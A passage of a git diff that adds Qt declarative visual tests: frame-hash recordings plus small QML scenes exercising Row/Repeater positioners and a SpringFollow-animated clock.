"496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 3984 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 4000 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 4016 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 4032 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 4048 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 4064 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 4080 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 4096 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 4112 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 4128 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 4144 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 4160 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 4176 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 4192 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 4208 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 4224 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 4240 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 4256 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 4272 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 4288 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 4304 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 4320 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 4336 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 4352 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 4368 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 4384 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 4400 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 4416 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 4432 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 4448 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 4464 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 4480 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 4496 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 4512 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 4528 + hash: "9681be99003f8a14cc5654d06d2c8255" + } + Frame { + msec: 4544 + hash: "bcb592a2335aa2e35956881fd028f4e6" + } + Frame { + msec: 4560 + hash: "f914b25fdcb02a02b71220d82b7b2a75" + } + Frame { + msec: 4576 + hash: "63c82c08eb7f2bd50b54b94c952df3f2" + } + Frame { + msec: 4592 + hash: "8a8dc82be81fa55605c6c2e749895120" + } + Frame { + msec: 4608 + hash: "271f8d79b8052dfcd840ffa9ba9ffeec" + } + Frame { + msec: 4624 + hash: "8f77bbd0585b57e69ac1919bd81ee3b1" + } + Frame { + msec: 4640 + hash: "b974260a2f90e141ebc33ced98fbca88" + } + Frame { + msec: 4656 + hash: "77ada180f8a45652a6fa636d7ece4d9d" + } + Frame { + msec: 4672 + hash: "4c8dc2e33cd989cb3b0938c6c75b5f95" + } + Frame { + msec: 4688 + hash: "a145954989508b925a444e14f0c27a20" + } + Frame { + msec: 4704 + hash: "8d27ff203819174747ae4a5cee8d0ae8" + } + Frame { + msec: 4720 + hash: "830f34b0dab780c6efe2294872ba8508" + } + Frame { + msec: 4736 + hash: "5d70a4bbd815569cfe5735b596bad080" + } + Frame { + msec: 4752 + hash: "964527bb82ea006e03b030c787a8597c" + } + Frame { + msec: 4768 + hash: "1ad54954b818fa9e6032ac4b6114e7db" + } + Frame { + msec: 4784 + hash: "47865243cc252aef67774001af70c54c" + } + Frame { + msec: 4800 + image: "dynamic.4.png" + } + Frame { + msec: 4816 + hash: "47865243cc252aef67774001af70c54c" + } + Frame { + msec: 4832 + hash: "47865243cc252aef67774001af70c54c" + } + Frame { + msec: 4848 + hash: "47865243cc252aef67774001af70c54c" + } + Frame { + msec: 4864 + hash: "47865243cc252aef67774001af70c54c" + } + Frame { + msec: 4880 + hash: "47865243cc252aef67774001af70c54c" + } + Frame { + msec: 4896 + hash: "47865243cc252aef67774001af70c54c" + } + Frame { + msec: 4912 + hash: "47865243cc252aef67774001af70c54c" + } + Frame { + msec: 4928 + hash: "47865243cc252aef67774001af70c54c" + } + Frame { + msec: 4944 + hash: "47865243cc252aef67774001af70c54c" + } + Frame { + msec: 4960 + hash: "47865243cc252aef67774001af70c54c" + } + Frame { + msec: 4976 + hash: "47865243cc252aef67774001af70c54c" + } + Frame { + msec: 4992 + hash: "47865243cc252aef67774001af70c54c" + } + Frame { + msec: 5008 + hash: "47865243cc252aef67774001af70c54c" + } + Frame { + msec: 5024 + hash: "47865243cc252aef67774001af70c54c" + } + Frame { + msec: 5040 + hash: "baeb8adffc13e230e797e0437f2ad5fa" + } + Frame { + msec: 5056 + hash: "d2e440fcad0ee2b7b35d7e5c4e581f73" + } + Frame { + msec: 5072 + hash: "fb8acb2f69234d3ee089281d0297ad7c" + } + Frame { + msec: 5088 + hash: "7fda29a83dc535ed8d6b35e999400311" + } + Frame { + msec: 5104 + hash: "6482e3eb10cfdbdeb57dd38ba3e3d67e" + } + Frame { + msec: 5120 + hash: "4d222549bc2565c1598a532460aae4e6" + } + Frame { + msec: 5136 + hash: "776d1b0f9945c0e1ceda0cf117264919" + } + Frame { + msec: 5152 + hash: "f2c362b34a0982ee1a11dea6b063945e" + } + Frame { + msec: 5168 + hash: "115f02b8893972b5b1d63525ce70762e" + } + Frame { + msec: 5184 + hash: "7f2d53581fe2c6c45a628fa4cd9b5742" + } + Frame { + msec: 5200 + hash: "b5ed1120c4edf842b15d5144adbd93b0" + } + Frame { + msec: 5216 + hash: "3511938df57c4cdce316692de204b057" + } + Frame { + msec: 5232 + hash: "99583918d068ab5d132fe7a699c2a7a6" + } + Frame { + msec: 5248 + hash: "c0ce9df18479dbb57fb1dbc777f4f0e5" + } + Frame { + msec: 5264 + hash: "b24db7b5c406328380fcf9927fb26c5c" + } + Frame { + msec: 5280 + hash: "b24db7b5c406328380fcf9927fb26c5c" + } + Frame { + msec: 5296 + hash: "b24db7b5c406328380fcf9927fb26c5c" + } + Frame { + msec: 5312 + hash: "b24db7b5c406328380fcf9927fb26c5c" + } + Frame { + msec: 5328 + hash: "b24db7b5c406328380fcf9927fb26c5c" + } + Frame { + msec: 5344 + hash: "b24db7b5c406328380fcf9927fb26c5c" + } + Frame { + msec: 5360 + hash: "b24db7b5c406328380fcf9927fb26c5c" + } + Frame { + msec: 5376 + hash: "b24db7b5c406328380fcf9927fb26c5c" + } + Frame { + msec: 5392 + hash: "b24db7b5c406328380fcf9927fb26c5c" + } + Frame { + msec: 5408 + hash: "b24db7b5c406328380fcf9927fb26c5c" + } + Frame { + msec: 5424 + hash: "b24db7b5c406328380fcf9927fb26c5c" + } + Frame { + msec: 5440 + hash: "b24db7b5c406328380fcf9927fb26c5c" + } + Frame { + msec: 5456 + hash: "b24db7b5c406328380fcf9927fb26c5c" + } + Frame { + msec: 5472 + hash: "b24db7b5c406328380fcf9927fb26c5c" + } + Frame { + msec: 5488 + hash: "b24db7b5c406328380fcf9927fb26c5c" + } + Frame { + msec: 5504 + hash: "b24db7b5c406328380fcf9927fb26c5c" + } + Frame { + msec: 5520 + hash: "b24db7b5c406328380fcf9927fb26c5c" + } + Frame { + msec: 5536 + hash: "98cc64411264d8a635a6afe6b11cee6e" + } + Frame { + msec: 5552 + hash: "b86434b7af8ad1db946c43a2791d69ab" + } + Frame { + msec: 5568 + hash: "f45616f9e33658d1dddb537e842c8768" + } + Frame { + msec: 5584 + hash: "e49d8955e27cdc19a37c331e56c81af1" + } + Frame { + msec: 5600 + hash: "b2dbe764906b50195f65dc11a5842515" + } + Frame { + msec: 5616 + hash: "71ce7c63d65c29cdffd83f5ae07f0b93" + } + Frame { + msec: 5632 + hash: "901d01e1fc777ec185cd023ad0ace4c1" + } + Frame { + msec: 5648 + hash: "a3f31de30fc2e92bae1f735504216216" + } + Frame { + msec: 5664 + hash: "0fc52dd8102506e3e7671fa548551b23" + } + Frame { + msec: 5680 + hash: "fb92809e728416035dbb91116ad8fe0e" + } + Frame { + msec: 5696 + hash: "9003dc8ca4f781909035cb03dc45864f" + } + Frame { + msec: 5712 + hash: "2bff1de793ad8521fd54413849c3cf29" + } + Frame { + msec: 5728 + hash: "8362e4db7c4446282d844a4fc6632d19" + } + Frame { + msec: 5744 + hash: "b874fa274c6ec77c106ff4a0288f9169" + } + Frame { + msec: 5760 + image: "dynamic.5.png" + } + Frame { + msec: 5776 + hash: "e64ac8e11e36cafb25c947c5802d54b9" + } + Frame { + msec: 5792 + hash: "e64ac8e11e36cafb25c947c5802d54b9" + } + Frame { + msec: 5808 + hash: "e64ac8e11e36cafb25c947c5802d54b9" + } + Frame { + msec: 5824 + hash: "e64ac8e11e36cafb25c947c5802d54b9" + } + Frame { + msec: 5840 + hash: "e64ac8e11e36cafb25c947c5802d54b9" + } + Frame { + msec: 5856 + hash: "e64ac8e11e36cafb25c947c5802d54b9" + } + Frame { + msec: 5872 + hash: "e64ac8e11e36cafb25c947c5802d54b9" + } + Frame { + msec: 5888 + hash: "e64ac8e11e36cafb25c947c5802d54b9" + } + Frame { + msec: 5904 + hash: "e64ac8e11e36cafb25c947c5802d54b9" + } + Frame { + msec: 5920 + hash: "e64ac8e11e36cafb25c947c5802d54b9" + } + Frame { + msec: 5936 + hash: "e64ac8e11e36cafb25c947c5802d54b9" + } + Frame { + msec: 5952 + hash: "e64ac8e11e36cafb25c947c5802d54b9" + } + Frame { + msec: 5968 + hash: "e64ac8e11e36cafb25c947c5802d54b9" + } + Frame { + msec: 5984 + hash: "e64ac8e11e36cafb25c947c5802d54b9" + } + Frame { + msec: 6000 + hash: "e64ac8e11e36cafb25c947c5802d54b9" + } + Frame { + msec: 6016 + hash: "e64ac8e11e36cafb25c947c5802d54b9" + } + Frame { + msec: 6032 + hash: "7621e64568058b82bcb6f6b46cee3ebc" + } + Frame { + msec: 6048 + hash: "f77f6de6fc88813f49427b4888a59dbf" + } + Frame { + msec: 6064 + hash: "d3a48f596219372ac25941e4c5ec5b2b" + } + Frame { + msec: 6080 + hash: "d572d932b613f9ca1e0acf144f127dd1" + } + Frame { + msec: 6096 + hash: "edf317eaf51d933bcd0f57f214921a81" + } + Frame { + msec: 6112 + hash: "e0cee7959a5a8a08ad03d75e7b5c6ca1" + } + Frame { + msec: 6128 + hash: "96877a15f44d4a2c8d9974cb28b9e1b6" + } + Frame { + msec: 6144 + hash: "c0ffb0ef6dd9d007d201feebd2f68e44" + } + Frame { + msec: 6160 + hash: "209fb930223243fa19c5dde9e85ec518" + } + Frame { + msec: 6176 + hash: "ae98ac4dba0e78eb8fb7f7dbe29b2832" + } + Frame { + msec: 6192 + hash: "c94a7d68ce007d83df77a595a5815a96" + } + Frame { + msec: 6208 + hash: "4c28e409bf5a6c1289bcab8cd59a9e42" + } + Frame { + msec: 6224 + hash: "ea1009f1a3446dd5ce937e6949794794" + } + Frame { + msec: 6240 + hash: "940c16766c2f87feef48e1187672ca9b" + } + Frame { + msec: 6256 + hash: "93664c87c8dcfadc0345f646b2508625" + } + Frame { + msec: 6272 + hash: "93664c87c8dcfadc0345f646b2508625" + } + Frame { + msec: 6288 + hash: "93664c87c8dcfadc0345f646b2508625" + } + Frame { + msec: 6304 + hash: "93664c87c8dcfadc0345f646b2508625" + } + Frame { + msec: 6320 + hash: "93664c87c8dcfadc0345f646b2508625" + } + Frame { + msec: 6336 + hash: "93664c87c8dcfadc0345f646b2508625" + } + Frame { + msec: 6352 + hash: "93664c87c8dcfadc0345f646b2508625" + } + Frame { + msec: 6368 + hash: "93664c87c8dcfadc0345f646b2508625" + } + Frame { + msec: 6384 + hash: "93664c87c8dcfadc0345f646b2508625" + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/repeater.0.png b/tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/repeater.0.png new file mode 100644 index 0000000..f7018fd Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/repeater.0.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/repeater.qml b/tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/repeater.qml new file mode 100644 index 0000000..1eb115d --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/repeater.qml @@ -0,0 +1,339 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "0273c293855f2b2bdbf579fc5cdce63f" + } + Frame { + msec: 32 + hash: "0273c293855f2b2bdbf579fc5cdce63f" + } + Frame { + msec: 48 + hash: "0273c293855f2b2bdbf579fc5cdce63f" + } + Frame { + msec: 64 + hash: "0273c293855f2b2bdbf579fc5cdce63f" + } + Frame { + msec: 80 + hash: "0273c293855f2b2bdbf579fc5cdce63f" + } + Frame { + msec: 96 + hash: "0273c293855f2b2bdbf579fc5cdce63f" + } + Frame { + msec: 112 + hash: "0273c293855f2b2bdbf579fc5cdce63f" + } + Frame { + msec: 128 + hash: "0273c293855f2b2bdbf579fc5cdce63f" + } + Frame { + msec: 144 + hash: "0273c293855f2b2bdbf579fc5cdce63f" + } + Frame { + msec: 160 + hash: "0273c293855f2b2bdbf579fc5cdce63f" + } + Frame { + msec: 176 + hash: "0273c293855f2b2bdbf579fc5cdce63f" + } + Frame { + msec: 192 + hash: "0273c293855f2b2bdbf579fc5cdce63f" + } + Frame { + msec: 208 + hash: "0273c293855f2b2bdbf579fc5cdce63f" + } + Frame { + msec: 224 + hash: "0273c293855f2b2bdbf579fc5cdce63f" + } + Frame { + msec: 240 + hash: "0273c293855f2b2bdbf579fc5cdce63f" + } + Frame { + msec: 256 + hash: "0273c293855f2b2bdbf579fc5cdce63f" + } + Frame { + msec: 272 + hash: "0273c293855f2b2bdbf579fc5cdce63f" + } + Frame { + msec: 288 + hash: "0273c293855f2b2bdbf579fc5cdce63f" + } + Frame { + msec: 304 + hash: "0273c293855f2b2bdbf579fc5cdce63f" + } + Frame { + msec: 320 + hash: "0273c293855f2b2bdbf579fc5cdce63f" + } + Frame { + msec: 336 + hash: "0273c293855f2b2bdbf579fc5cdce63f" + } + Frame { + msec: 352 + hash: "0273c293855f2b2bdbf579fc5cdce63f" + } + Frame { + msec: 368 + hash: "0273c293855f2b2bdbf579fc5cdce63f" + } + Frame { + msec: 384 + hash: "0273c293855f2b2bdbf579fc5cdce63f" + } + Frame { + msec: 400 + hash: "0273c293855f2b2bdbf579fc5cdce63f" + } + Frame { + msec: 416 + hash: "0273c293855f2b2bdbf579fc5cdce63f" + } + Frame { + msec: 432 + hash: "0273c293855f2b2bdbf579fc5cdce63f" + } + Frame { + msec: 448 + hash: "0273c293855f2b2bdbf579fc5cdce63f" + } + Frame { + msec: 464 + hash: "0273c293855f2b2bdbf579fc5cdce63f" + } + Frame { + msec: 480 + hash: "0273c293855f2b2bdbf579fc5cdce63f" + } + Frame { + msec: 496 + hash: "0273c293855f2b2bdbf579fc5cdce63f" + } + Frame { + msec: 512 + hash: "0273c293855f2b2bdbf579fc5cdce63f" + } + Frame { + msec: 528 + hash: "53a01771047c8ec806a335a1a3d6af71" + } + Frame { + msec: 544 + hash: "53a01771047c8ec806a335a1a3d6af71" + } + Frame { + msec: 560 + hash: "53a01771047c8ec806a335a1a3d6af71" + } + Frame { + msec: 576 + hash: "53a01771047c8ec806a335a1a3d6af71" + } + Frame { + msec: 592 + hash: "53a01771047c8ec806a335a1a3d6af71" + } + Frame { + msec: 608 + hash: "53a01771047c8ec806a335a1a3d6af71" + } + Frame { + msec: 624 + hash: "53a01771047c8ec806a335a1a3d6af71" + } + Frame { + msec: 640 + hash: "53a01771047c8ec806a335a1a3d6af71" + } + Frame { + msec: 656 + hash: "53a01771047c8ec806a335a1a3d6af71" + } + Frame { + msec: 672 + hash: "53a01771047c8ec806a335a1a3d6af71" + } + Frame { + msec: 688 + hash: "53a01771047c8ec806a335a1a3d6af71" + } + Frame { + msec: 704 + hash: "53a01771047c8ec806a335a1a3d6af71" + } + Frame { + msec: 720 + hash: "53a01771047c8ec806a335a1a3d6af71" + } + Frame { + msec: 736 + hash: "53a01771047c8ec806a335a1a3d6af71" + } + Frame { + msec: 752 + hash: "53a01771047c8ec806a335a1a3d6af71" + } + Frame { + msec: 768 + hash: "53a01771047c8ec806a335a1a3d6af71" + } + Frame { + msec: 784 + hash: "53a01771047c8ec806a335a1a3d6af71" + } + Frame { + msec: 800 + hash: "53a01771047c8ec806a335a1a3d6af71" + } + Frame { + msec: 816 + hash: "53a01771047c8ec806a335a1a3d6af71" + } + Frame { + msec: 832 + hash: "53a01771047c8ec806a335a1a3d6af71" + } + Frame { + msec: 848 + hash: "53a01771047c8ec806a335a1a3d6af71" + } + Frame { + msec: 864 + hash: "53a01771047c8ec806a335a1a3d6af71" + } + Frame { + msec: 880 + hash: "53a01771047c8ec806a335a1a3d6af71" + } + Frame { + msec: 896 + hash: "53a01771047c8ec806a335a1a3d6af71" + } + Frame { + msec: 912 + hash: "53a01771047c8ec806a335a1a3d6af71" + } + Frame { + msec: 928 + hash: "53a01771047c8ec806a335a1a3d6af71" + } + Frame { + msec: 944 + hash: "53a01771047c8ec806a335a1a3d6af71" + } + Frame { + msec: 960 + image: "repeater.0.png" + } + Frame { + msec: 976 + hash: "53a01771047c8ec806a335a1a3d6af71" + } + Frame { + msec: 992 + hash: "53a01771047c8ec806a335a1a3d6af71" + } + Frame { + msec: 1008 + hash: "53a01771047c8ec806a335a1a3d6af71" + } + Frame { + msec: 1024 + hash: "53a01771047c8ec806a335a1a3d6af71" + } + Frame { + msec: 1040 + hash: "53a01771047c8ec806a335a1a3d6af71" + } + Frame { + msec: 1056 + hash: "53a01771047c8ec806a335a1a3d6af71" + } + Frame { + msec: 1072 + hash: "53a01771047c8ec806a335a1a3d6af71" + } + Frame { + msec: 1088 + hash: "53a01771047c8ec806a335a1a3d6af71" + } + Frame { + msec: 1104 + hash: "53a01771047c8ec806a335a1a3d6af71" + } + Frame { + msec: 1120 + hash: "53a01771047c8ec806a335a1a3d6af71" + } + Frame { + msec: 1136 + hash: "53a01771047c8ec806a335a1a3d6af71" + } + Frame { + msec: 1152 + hash: "53a01771047c8ec806a335a1a3d6af71" + } + Frame { + msec: 1168 + hash: "53a01771047c8ec806a335a1a3d6af71" + } + Frame { + msec: 1184 + hash: "53a01771047c8ec806a335a1a3d6af71" + } + Frame { + msec: 1200 + hash: "53a01771047c8ec806a335a1a3d6af71" + } + Frame { + msec: 1216 + hash: "53a01771047c8ec806a335a1a3d6af71" + } + Frame { + msec: 1232 + hash: "53a01771047c8ec806a335a1a3d6af71" + } + Frame { + msec: 1248 + hash: "53a01771047c8ec806a335a1a3d6af71" + } + Frame { + msec: 1264 + hash: "53a01771047c8ec806a335a1a3d6af71" + } + Frame { + msec: 1280 + hash: "53a01771047c8ec806a335a1a3d6af71" + } + Frame { + msec: 1296 + hash: "53a01771047c8ec806a335a1a3d6af71" + } + Frame { + msec: 1312 + hash: "53a01771047c8ec806a335a1a3d6af71" + } + Frame { + msec: 1328 + hash: "53a01771047c8ec806a335a1a3d6af71" + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativepositioners/dynamic.qml b/tests/auto/declarative/qmlvisual/qdeclarativepositioners/dynamic.qml new file mode 100644 index 0000000..f45e9a4 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativepositioners/dynamic.qml @@ -0,0 +1,65 @@ +import Qt 4.6 + +Item { + width: 400; height: 400; + property int step: 0 + function tick() + { + step++; + if(step == 1){ + row1.destroy(); //Not dynamically created, so is this valid? + }else if(step == 2){ + r2a.destroy(); + }else if(step == 3){ + r2b.destroy(); + }else if(step == 4){ + r2c.destroy(); + }else if(step == 5){ + r3a.parent = row2; + }else if(step == 6){ + r3b.parent = row2; + }else if(step == 7){ + r3c.parent = row2; + }else if(step == 8){ + row3.destroy(); + }else{ + repeater.model++; + } + } + + //Tests base positioner functionality, so just using row + Row{ + id: row1 + Rectangle{id: r1a; width:20; height:20; color: "red"} + Rectangle{id: r1b; width:20; height:20; color: "green"} + Rectangle{id: r1c; width:20; height:20; color: "blue"} + } + Row{ + y:20 + id: row2 + move: Transition{NumberAnimation{properties:"x"}} + Repeater{ + id: repeater + model: 0; + delegate: Component{ Rectangle { color: "yellow"; width:20; height:20;}} + } + Rectangle{id: r2a; width:20; height:20; color: "red"} + Rectangle{id: r2b; width:20; height:20; color: "green"} + Rectangle{id: r2c; width:20; height:20; color: "blue"} + } + Row{ + move: Transition{NumberAnimation{properties:"x"}} + y:40 + id: row3 + Rectangle{id: r3a; width:20; height:20; color: "red"} + Rectangle{id: r3b; width:20; height:20; color: "green"} + Rectangle{id: r3c; width:20; height:20; color: "blue"} + } + Timer{ + interval: 500; + running: true; + repeat: true; + onTriggered: tick(); + } +} + diff --git a/tests/auto/declarative/qmlvisual/qdeclarativepositioners/repeater.qml b/tests/auto/declarative/qmlvisual/qdeclarativepositioners/repeater.qml new file mode 100644 index 0000000..ff60365 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativepositioners/repeater.qml @@ -0,0 +1,15 @@ +import Qt 4.6 + +Item{ + width: 200; height: 600 + Column{ + Rectangle{color:"Red"; width:40; height:40;} + Repeater{ + id: rep + model: 3 + delegate: Component{Rectangle{color:"Green"; width:40; height:40; radius: 20;}} + } + Rectangle{color:"Blue"; width:40; height:40;} + } + Timer{ interval: 500; running: true; onTriggered: rep.model=6;} +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/clock.qml b/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/clock.qml new file mode 100644 index 0000000..21bbc7f --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/clock.qml @@ -0,0 +1,64 @@ +import Qt 4.6 + +Rectangle { + id: clock + color: "gray" + width: 200; height: 200 + + property var hours: 10 + property var minutes: 28 + property var seconds: 0 + + Timer { + interval: 1000; running: true; repeat: true; triggeredOnStart: true + onTriggered: seconds++ + } + + Image { id: background; source: "content/clock.png" } + + Image { + x: 92.5; y: 27 + source: "content/hour.png" + smooth: true + transform: Rotation { + id: hourRotation + origin.x: 7.5; origin.y: 73; angle: 0 + SpringFollow on angle { + spring: 2; damping: 0.2; modulus: 360 + source: (clock.hours * 30) + (clock.minutes * 0.5) + } + } + } + + Image { + x: 93.5; y: 17 + source: "content/minute.png" + smooth: true + transform: Rotation { + id: minuteRotation + origin.x: 6.5; origin.y: 83; angle: 0 + SpringFollow on angle { + spring: 2; damping: 0.2; modulus: 360 + source: clock.minutes * 6 + } + } + } + + Image { + x: 97.5; y: 20 + source: "content/second.png" + smooth: true + transform: Rotation { + id: secondRotation + origin.x: 2.5; origin.y: 80; angle: 0 + SpringFollow on angle { + spring: 5; damping: 0.25; modulus: 360 + source: clock.seconds * 6 + } + } + } + + Image { + anchors.centerIn: background; source: "content/center.png" + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/content/background.png b/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/content/background.png new file mode 100644 index 0000000..a885950 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/content/background.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/content/center.png b/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/content/center.png new file mode 100755 index 0000000..7fbd802 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/content/center.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/content/clock.png b/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/content/clock.png new file mode 100755 index 0000000..462edac Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/content/clock.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/content/hour.png b/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/content/hour.png new file mode 100755 index 0000000..f8061a1 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/content/hour.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/content/minute.png b/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/content/minute.png new file mode 100755 index 0000000..1297ec7 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/content/minute.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/content/second.png b/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/content/second.png new file mode 100755 index 0000000..4aa9fb5 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/content/second.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/clock.0.png b/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/clock.0.png new file mode 100644 index 0000000..baf1d45 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/clock.0.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/clock.1.png b/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/clock.1.png new file mode 100644 index 0000000..932f63f Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/clock.1.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/clock.2.png b/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/clock.2.png new file mode 100644 index 0000000..a5cb437 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/clock.2.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/clock.3.png b/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/clock.3.png new file mode 100644 index 0000000..62e895c Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/clock.3.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/clock.qml b/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/clock.qml new file mode 100644 index 0000000..ffc6a5e --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativespringfollow/data/clock.qml @@ -0,0 +1,1135 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "d17c9cd015b065adf7e36ad0d4f6c00c" + } + Frame { + msec: 32 + hash: "e759f652c69a06d01837302cc0369a58" + } + Frame { + msec: 48 + hash: "392855ef490903121fb894858961dfb0" + } + Frame { + msec: 64 + hash: "5ba4248f606a3a35d840cb98eff30b46" + } + Frame { + msec: 80 + hash: "3b97e1ab4054c20d19c1d05f795b71de" + } + Frame { + msec: 96 + hash: "81904d248125cf35249f79da7e94d8d7" + } + Frame { + msec: 112 + hash: "474179152aad4b64904c8b7c63581a89" + } + Frame { + msec: 128 + hash: "583a7906d1dc41d8ce8d0c8f28c9b8c5" + } + Frame { + msec: 144 + hash: "341437083f858e2dca36a8bb39559a1e" + } + Frame { + msec: 160 + hash: "ed75a933c176ed6ac3fa5b2986cbfade" + } + Frame { + msec: 176 + hash: "5494c10d3984a9be607b8b5ee659ebfc" + } + Frame { + msec: 192 + hash: "7af8dfca43036ee69012cbb100d110ad" + } + Frame { + msec: 208 + hash: "356b8185889e560b5a1a2d6436dac834" + } + Frame { + msec: 224 + hash: "f601a66de5dc1a388e515ba4ff14be6e" + } + Frame { + msec: 240 + hash: "4cfb9f3a72070533288b2e50820cbbbd" + } + Frame { + msec: 256 + hash: "ddcb670af0806dadf5897bcd3fd65cd7" + } + Frame { + msec: 272 + hash: "3fedf4aa340d7632359273b1eb71c5a3" + } + Frame { + msec: 288 + hash: "3dab7e1eaccb68b14e30741775db6ff7" + } + Frame { + msec: 304 + hash: "015ab6c080c2ffab8ac763681bf3f95c" + } + Frame { + msec: 320 + hash: "74f438510f0d8f64120cc45bca7f4f5d" + } + Frame { + msec: 336 + hash: "e57666fb224cdbf869e5be4ef3391be9" + } + Frame { + msec: 352 + hash: "ff8b3dddd4d10b111b38801470fcbfd0" + } + Frame { + msec: 368 + hash: "e547ee9f1e509d5db980cb91fce5f6ee" + } + Frame { + msec: 384 + hash: "aaa9fb71bd47ad3a1c753d7ac918e399" + } + Frame { + msec: 400 + hash: "54a335aac86669138730c0735ea99c8b" + } + Frame { + msec: 416 + hash: "ff8f30aaa7afd8abfdd147b830e9d6c4" + } + Frame { + msec: 432 + hash: "07f8fca270953cf815cb0e77534da824" + } + Frame { + msec: 448 + hash: "30799c12182b2c3eb2f28b05d81ed6fc" + } + Frame { + msec: 464 + hash: "6244e3b740218aec56c81c92dc57abcb" + } + Frame { + msec: 480 + hash: "cb10a34e3d234043704e633b49184607" + } + Frame { + msec: 496 + hash: "66de73779b5f86a6a1692eb74be24201" + } + Frame { + msec: 512 + hash: "4c4c0b5e75f0f587ace8002720d78309" + } + Frame { + msec: 528 + hash: "88c774ec272c72457b35b60306c2bc21" + } + Frame { + msec: 544 + hash: "28ce64adc1d35d6bc34174765beda553" + } + Frame { + msec: 560 + hash: "37238c3d6dc0c34bf4e00ba2a82ce3aa" + } + Frame { + msec: 576 + hash: 